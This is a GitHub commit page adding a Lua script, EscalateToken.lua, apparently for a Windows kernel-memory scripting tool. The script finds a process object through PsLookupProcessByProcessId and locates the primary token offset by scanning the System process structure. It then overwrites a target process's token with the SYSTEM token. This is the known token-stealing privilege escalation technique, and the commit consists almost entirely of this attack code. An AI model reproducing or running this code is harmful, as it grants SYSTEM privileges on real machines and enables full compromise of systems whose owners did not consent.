Skip to content

Commit d74fa5f

Browse files
authored
Create EscalateToken.lua
1 parent fdaa538 commit d74fa5f

File tree

1 file changed

+22
-0
lines changed

1 file changed

+22
-0
lines changed

scripts/EscalateToken.lua

+22
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
function FindProcess(pid)
2+
local Tmp = tmp(0x8)
3+
Tmp:set(0)
4+
nt.PsLookupProcessByProcessId(pid, Tmp:ref())
5+
return Tmp:get()
6+
end
7+
8+
function EscalateToken(Target, Source)
9+
Source = Source or read8(nt.PsInitialSystemProcess:address())
10+
local Token = nt.PsReferencePrimaryToken(Source)
11+
local TokenOffset = 0
12+
13+
for i=0,0x500,0x8 do
14+
if (read8(Source+i)|0xF) == (Token|0xF) then
15+
TokenOffset = i
16+
break
17+
end
18+
end
19+
nt.PsDereferencePrimaryToken( Token )
20+
21+
write8( Target + TokenOffset, Token | 0xF )
22+
end

0 commit comments

Comments
 (0)